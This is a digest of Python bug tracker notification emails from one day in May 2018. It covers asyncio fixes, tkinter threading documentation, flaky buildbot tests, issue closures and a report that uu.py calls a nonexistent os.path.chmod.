_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:20:32 2018 From: report at bugs.python.org (Mark Roseman) Date: Tue, 29 May 2018 20:20:32 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1527625232.95.0.682650639539.issue33479@psf.upfronthosting.co.za> Mark Roseman added the comment: Ivan, thanks for making a good first pass of this. The thread section still feels a lot like 'fighting' with the model. Do you mind if I take a crack at it? Won't get to it for a few days, but in case you have any stuff you're in the middle of. I should clarify too that Tk apps almost universally do use a blocking event loop (i.e. 'vwait forever' at the end of a script). Application-level event handlers are supposed to respond quickly so control goes back to the event loop. It's when control doesn't return there that things like the 'update idletasks' hacks are needed. In practice, I've noticed that's what seems to trip people up when they first start, as they try to emulate the flow of their non-GUI code, which frequently blocks. Far better that the program is restructured so that the event handler completes quickly. It's actually worse than it looks, because you can end up having nested event loops if you start randomly throwing this stuff in. That's conceptually hard for most people and a good source of bugs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:30:26 2018 From: report at bugs.python.org (Julien Palard) Date: Tue, 29 May 2018 20:30:26 +0000 Subject: [issue31639] http.server and SimpleHTTPServer hang after a few requests In-Reply-To: <1506701944.65.0.213398074469.issue31639@psf.upfronthosting.co.za> Message-ID: <1527625826.9.0.682650639539.issue31639@psf.upfronthosting.co.za> Change by Julien Palard : ---------- pull_requests: +6852 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:34:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 20:34:08 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527626048.39.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: > As I said, the code just defers to "perf". And you should have tested that :-) --track-memory and --tracemalloc have no unit tests, it's in the perf TODO list ;-) Well, it was just a remark. I'm looking for new contributors for perf! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:40:27 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 20:40:27 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527626427.05.0.682650639539.issue33672@psf.upfronthosting.co.za> Ned Deily added the comment: Can we close this now? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:43:29 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 20:43:29 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527626609.09.0.682650639539.issue33672@psf.upfronthosting.co.za> Yury Selivanov added the comment: Yes, thanks Ned ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:44:14 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 20:44:14 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527626654.06.0.682650639539.issue32911@psf.upfronthosting.co.za> Ned Deily added the comment: Thank you all for your input and thank you, Inada-san and Serhiy, for the PRs. Is there anything more that needs to go in for 3.7.0b5 tomorrow so that this can be tested before the release candidate? If not, can we now close this again? If new issues arise with b5 or later, we should probably track with another issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:46:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 20:46:06 +0000 Subject: [issue33686] test_concurrent_futures: test_pending_calls_race() failed on x86 Windows7 3.6 Message-ID: <1527626766.22.0.682650639539.issue33686@psf.upfronthosting.co.za> New submission from STINNER Victor : x86 Windows7 3.6: http://buildbot.python.org/all/#/builders/90/builds/354 0:23:45 [111/407/1] test_concurrent_futures failed ====================================================================== FAIL: test_pending_calls_race (test.test_concurrent_futures.ThreadPoolWaitTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.6.bolen-windows7\build\lib\test\test_concurrent_futures.py", line 96, in tearDown self.assertLess(dt, 60, "synchronization issue: test lasted too long") AssertionError: 213.2027723789215 not less than 60 : synchronization issue: test lasted too long ---------- components: Tests, Windows messages: 318090 nosy: paul.moore, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: test_concurrent_futures: test_pending_calls_race() failed on x86 Windows7 3.6 versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:55:34 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 29 May 2018 20:55:34 +0000 Subject: [issue33607] [subinterpreters] Explicitly track object ownership (and allocator). In-Reply-To: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> Message-ID: <1527627334.42.0.682650639539.issue33607@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I agree with Victor, we shouldn't add PyObject fields that only have use in certain (minority) situations. The idea of tracking per arena will be non-trivial to implement, as only small objects (smaller than 512 bytes) use our own allocator; larger objects go to the system allocator. Can I ask why you're considering this? I thought you didn't want to transfer ownership between interpreters. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:09:24 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 21:09:24 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527628164.78.0.682650639539.issue22087@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2a7eb0b531656f4a77d85078e6e009e4b3639ef9 by Miss Islington (bot) in branch '3.7': bpo-22087: Fix Policy.get_event_loop() to detect fork (GH-7208) https://github.com/python/cpython/commit/2a7eb0b531656f4a77d85078e6e009e4b3639ef9 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:20:11 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 21:20:11 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527628811.19.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 863b6749093a86810c4077112a857363410cc221 by Yury Selivanov in branch 'master': bpo-32684: Fix gather to propagate cancel of itself with return_exceptions (GH-7209) https://github.com/python/cpython/commit/863b6749093a86810c4077112a857363410cc221 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:21:22 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 21:21:22 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527628882.65.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6853 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:28:45 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 29 May 2018 21:28:45 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527629325.71.0.682650639539.issue33615@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Buildbot AMD64 FreeBSD 10.x Shared 3.x is failing with the same problem: Assertion failed: (_PyGCHead_REFS(gc) != 0), function visit_decref, file Modules/gcmodule.c, line 277. Fatal Python error: Aborted ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:31:01 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:31:01 +0000 Subject: [issue33640] [EASY DOC] uuid: endian of the bytes argument is not documented In-Reply-To: <1527196125.95.0.682650639539.issue33640@psf.upfronthosting.co.za> Message-ID: <1527629461.65.0.682650639539.issue33640@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +easy title: uuid: endian of the bytes argument is not documented -> [EASY DOC] uuid: endian of the bytes argument is not documented _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:31:05 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 21:31:05 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527629465.02.0.682650639539.issue32751@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset e2b340ab4196e1beb902327f503574b5d7369185 by Yury Selivanov (Elvis Pranskevichus) in branch 'master': bpo-32751: Wait for task cancellation in asyncio.wait_for() (GH-7216) https://github.com/python/cpython/commit/e2b340ab4196e1beb902327f503574b5d7369185 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:31:05 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 21:31:05 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527629465.1.0.262363346258.issue33638@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset e2b340ab4196e1beb902327f503574b5d7369185 by Yury Selivanov (Elvis Pranskevichus) in branch 'master': bpo-32751: Wait for task cancellation in asyncio.wait_for() (GH-7216) https://github.com/python/cpython/commit/e2b340ab4196e1beb902327f503574b5d7369185 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:32:22 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:32:22 +0000 Subject: [issue33357] [EASY C] test_posix.test_posix_spawn_file_actions() leaks memory In-Reply-To: <1524667154.63.0.682650639539.issue33357@psf.upfronthosting.co.za> Message-ID: <1527629542.46.0.682650639539.issue33357@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:32:27 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 21:32:27 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527629547.92.0.682650639539.issue32751@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6854 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:32:27 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 21:32:27 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527629547.99.0.0935424498089.issue33638@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6855 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:32:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:32:52 +0000 Subject: [issue33356] Windows 10 buildbot: test__xxsubinterpreters.test_already_running() fails randomly In-Reply-To: <1524666400.61.0.682650639539.issue33356@psf.upfronthosting.co.za> Message-ID: <1527629572.4.0.682650639539.issue33356@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently, I close the bug. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:34:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:34:04 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527629644.17.0.682650639539.issue33355@psf.upfronthosting.co.za> STINNER Victor added the comment: Some buildbots migrated to faster Azure models. Tests are now run without the largefile test resource on other buildbots. It seems like the issue is gone. Thanks for everyone who helped to fix this bug! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:44:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 21:44:43 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527630283.02.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6856 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:44:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:44:47 +0000 Subject: [issue32676] test_asyncio emits many warnings when run in debug mode In-Reply-To: <1516964849.79.0.467229070634.issue32676@psf.upfronthosting.co.za> Message-ID: <1527630287.22.0.682650639539.issue32676@psf.upfronthosting.co.za> STINNER Victor added the comment: Any progress on this issue? "python3.8 -X dev -m test_asyncio" logs dozens of warnings, so it's hard to spot regressions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:46:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:46:33 +0000 Subject: [issue32654] Fixes Python for Android API 19 In-Reply-To: <1516815080.83.0.467229070634.issue32654@psf.upfronthosting.co.za> Message-ID: <1527630393.87.0.682650639539.issue32654@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm sorry, but I'm not longer interested to work on supporting Android API 19. I close the bug. If someone wants to continue to work on the Android support, it's probably better to first focus on most recent Android versions. ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:46:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:46:55 +0000 Subject: [issue32646] test_asyncgen: race condition on test_async_gen_asyncio_gc_aclose_09(), random failure In-Reply-To: <1516788620.43.0.467229070634.issue32646@psf.upfronthosting.co.za> Message-ID: <1527630415.55.0.682650639539.issue32646@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:47:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:47:52 +0000 Subject: [issue32637] Android: set sys.platform to android In-Reply-To: <1516727809.08.0.467229070634.issue32637@psf.upfronthosting.co.za> Message-ID: <1527630472.53.0.682650639539.issue32637@psf.upfronthosting.co.za> STINNER Victor added the comment: Sadly, I failed to find anyone to help me on this issue and I lost interest on supporting Android, so I just close the issue. Sorry. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:50:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:50:12 +0000 Subject: [issue32592] Drop support of Windows Vista in Python 3.7 In-Reply-To: <1516268238.05.0.467229070634.issue32592@psf.upfronthosting.co.za> Message-ID: <1527630612.56.0.682650639539.issue32592@psf.upfronthosting.co.za> STINNER Victor added the comment: I failed to fix failures on my PR. It's now too late for Python 3.7. If someone is interested to drop Vista support from Python 3.8, I suggest to open a new issue instead. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:50:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:50:54 +0000 Subject: [issue32334] test_configparser left @test_2876_tmp temporary file on x86 Windows7 3.x In-Reply-To: <1513349107.71.0.213398074469.issue32334@psf.upfronthosting.co.za> Message-ID: <1527630654.32.0.682650639539.issue32334@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:51:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:51:13 +0000 Subject: [issue32333] test_smtplib: dangling threads on x86 Gentoo Non-Debug with X 3.x In-Reply-To: <1513348879.75.0.213398074469.issue32333@psf.upfronthosting.co.za> Message-ID: <1527630673.08.0.682650639539.issue32333@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:52:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:52:08 +0000 Subject: [issue32156] Fix flake8 warning F401: ... imported but unused In-Reply-To: <1511881636.03.0.213398074469.issue32156@psf.upfronthosting.co.za> Message-ID: <1527630728.49.0.682650639539.issue32156@psf.upfronthosting.co.za> STINNER Victor added the comment: > I suggest to split your patch on several PR for different domains, and let the domain experts review changes separately. Right. I should recreate multiple PRs with fewer changes per PR. I close this issue. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:52:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 21:52:43 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527630763.05.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6857 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:52:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:52:55 +0000 Subject: [issue32091] test_s_option() of test_site.HelperFunctionsTests failed on x86 Gentoo Refleaks 3.6 In-Reply-To: <1511192138.79.0.213398074469.issue32091@psf.upfronthosting.co.za> Message-ID: <1527630775.17.0.682650639539.issue32091@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:54:56 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:54:56 +0000 Subject: [issue32090] test_put() of test_multiprocessing queue tests has a race condition In-Reply-To: <1511191941.25.0.213398074469.issue32090@psf.upfronthosting.co.za> Message-ID: <1527630896.27.0.682650639539.issue32090@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see this failure recently, and I'm no longer able to reproduce the issue on Linux. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:55:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:55:49 +0000 Subject: [issue31971] idle_test: failures on x86 Windows7 3.x In-Reply-To: <1510068197.3.0.213398074469.issue31971@psf.upfronthosting.co.za> Message-ID: <1527630949.45.0.682650639539.issue31971@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently, I close the issue. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:57:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:57:42 +0000 Subject: [issue31851] test_subprocess hangs randomly on Windows with Python 3.x In-Reply-To: <1508781289.15.0.213398074469.issue31851@psf.upfronthosting.co.za> Message-ID: <1527631062.59.0.682650639539.issue31851@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently, I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:58:02 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:58:02 +0000 Subject: [issue31731] [2.7] test_io hangs on x86 Gentoo Refleaks 2.7 In-Reply-To: <1507533205.95.0.213398074469.issue31731@psf.upfronthosting.co.za> Message-ID: <1527631082.14.0.682650639539.issue31731@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently. I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:59:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:59:05 +0000 Subject: [issue31611] Tests failures using -u largefile when the disk is full In-Reply-To: <1506515364.39.0.154975027568.issue31611@psf.upfronthosting.co.za> Message-ID: <1527631145.87.0.682650639539.issue31611@psf.upfronthosting.co.za> STINNER Victor added the comment: According to Serhiy's comment, largefile shouldn't be used with less than 2 GB of free disk space. It was my fault, it's not a bug ;-) ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:59:36 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:59:36 +0000 Subject: [issue31424] test_socket hangs on x86 Gentoo Installed with X 3.x In-Reply-To: <1505166305.93.0.828799497831.issue31424@psf.upfronthosting.co.za> Message-ID: <1527631176.58.0.682650639539.issue31424@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently. I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 17:59:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 21:59:57 +0000 Subject: [issue31246] [2.7] test_signal.test_setitimer_tiny() fails randomly on x86-64 El Capitan 2.7 In-Reply-To: <1503325291.35.0.150944992826.issue31246@psf.upfronthosting.co.za> Message-ID: <1527631197.74.0.682650639539.issue31246@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently. I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:00:51 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:00:51 +0000 Subject: [issue31233] socketserver.ThreadingMixIn leaks running threads after server_close() In-Reply-To: <1503073499.39.0.93886151367.issue31233@psf.upfronthosting.co.za> Message-ID: <1527631251.12.0.682650639539.issue31233@psf.upfronthosting.co.za> STINNER Victor added the comment: The bug has been fixed in Python 3.7. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:01:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:01:13 +0000 Subject: [issue31151] socketserver.ForkingMixIn.server_close() leaks zombie processes In-Reply-To: <1502239239.94.0.0719119279673.issue31151@psf.upfronthosting.co.za> Message-ID: <1527631273.41.0.682650639539.issue31151@psf.upfronthosting.co.za> STINNER Victor added the comment: The bug has been fixed in Python 3.7. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:01:34 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:01:34 +0000 Subject: [issue31180] test_multiprocessing_spawn hangs randomly In-Reply-To: <1502400975.07.0.689018470672.issue31180@psf.upfronthosting.co.za> Message-ID: <1527631294.81.0.682650639539.issue31180@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:01:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:01:55 +0000 Subject: [issue30758] test_pydoc hangs sometimes on 3.6 and master branches on ARMv7 Ubuntu 3.6/3.x In-Reply-To: <1498469994.85.0.367724213837.issue30758@psf.upfronthosting.co.za> Message-ID: <1527631315.94.0.682650639539.issue30758@psf.upfronthosting.co.za> STINNER Victor added the comment: I didn't see the failure recently. ---------- resolution: -> out of date status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:02:07 2018 From: report at bugs.python.org (Poul-Henning Kamp) Date: Tue, 29 May 2018 22:02:07 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist Message-ID: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> New submission from Poul-Henning Kamp : Library file uu.py on at least 2.7 and 3.6 contains: try: os.path.chmod(out_file, mode) except AttributeError: pass As far as I can tell, os.path.chmod does not exist, so this always raises AttributeError and becomes a no-op. Is suspect the proper fix is to remove the ".path" ? ---------- components: Library (Lib) messages: 318119 nosy: bsdphk priority: normal severity: normal status: open title: uu.py calls os.path.chmod which doesn't exist type: behavior versions: Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:02:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:02:47 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527631367.37.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6858 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:03:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:03:58 +0000 Subject: [issue30391] test_threading_handled() and test_threading_not_handled() of test_socketserver hangs randomly on AMD64 FreeBSD 10.x Shared 3.6 In-Reply-To: <1495048024.31.0.0717718671213.issue30391@psf.upfronthosting.co.za> Message-ID: <1527631438.03.0.682650639539.issue30391@psf.upfronthosting.co.za> STINNER Victor added the comment: bpo-31233 and bpo-31151 have fixed the issue in Python 3.7. I'm not sure how to fix the issue in Python 2.7 and 3.6. But since I didn't see the failure recently, I close the issue. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:10:06 2018 From: report at bugs.python.org (Zachary Ware) Date: Tue, 29 May 2018 22:10:06 +0000 Subject: [issue31731] [2.7] test_io hangs on x86 Gentoo Refleaks 2.7 In-Reply-To: <1507533205.95.0.213398074469.issue31731@psf.upfronthosting.co.za> Message-ID: <1527631806.68.0.682650639539.issue31731@psf.upfronthosting.co.za> Zachary Ware added the comment: test_io is currently hung on that builder: buildbot 13541 0.0 0.1 4920 2508 pts/1 Ss+ May28 0:00 \_ make buildbottest TESTOPTS=-j2 -R 3:3 -u-cpu TESTPYTHONOPTS= TESTTIMEOUT=11700 buildbot 13556 0.2 0.4 33620 9952 pts/1 Sl+ May28 2:45 | \_ ./python -Wd -3 -E -tt -R ./Lib/test/regrtest.py -uall --slowest -rwW -j2 -R 3:3 -u-cpu buildbot 28750 0.0 1.1 65412 24428 pts/1 S+ May28 0:54 | \_ /buildbot/buildarea/2.7.ware-gentoo-x86.refleak/build/python -E -3 -R -Wd -m test.regrtest --slaveargs [["test_io", 0, false], {"match_tests": null, "pgo": false, "huntrleaks": [3, 3, "reflog.txt"], "failfast": false, "use_resources": ["audio", "curses", "largefile", "network", "bsddb", "decimal", "subprocess", "urlfetch", "gui", "xpickle"]}] ---------- resolution: out of date -> stage: resolved -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:11:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:11:35 +0000 Subject: [issue26251] Use "Low-fragmentation Heap" memory allocator on Windows In-Reply-To: <1454262940.96.0.668805369213.issue26251@psf.upfronthosting.co.za> Message-ID: <1527631895.97.0.682650639539.issue26251@psf.upfronthosting.co.za> STINNER Victor added the comment: I failed to find the bandwidth to work on this issue since 2 years, so I just abandon this idea. However the performance benefit is non obvious. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:14:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:14:26 +0000 Subject: [issue29301] decimal: Use FASTCALL and/or Argument Clinic In-Reply-To: <1484671124.21.0.493200110844.issue29301@psf.upfronthosting.co.za> Message-ID: <1527632066.05.0.682650639539.issue29301@psf.upfronthosting.co.za> STINNER Victor added the comment: Sorry, I lost interest in this optimization. If someone wants to work on it, please open a new issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:21:54 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:21:54 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527632514.18.0.682650639539.issue23859@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset f9aeca2085464838f04bf13f816a1f861d43541f by Yury Selivanov (Elvis Pranskevichus) in branch 'master': bpo-23859: Document that asyncio.wait() does not cancel its futures (#7217) https://github.com/python/cpython/commit/f9aeca2085464838f04bf13f816a1f861d43541f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:22:56 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 22:22:56 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: 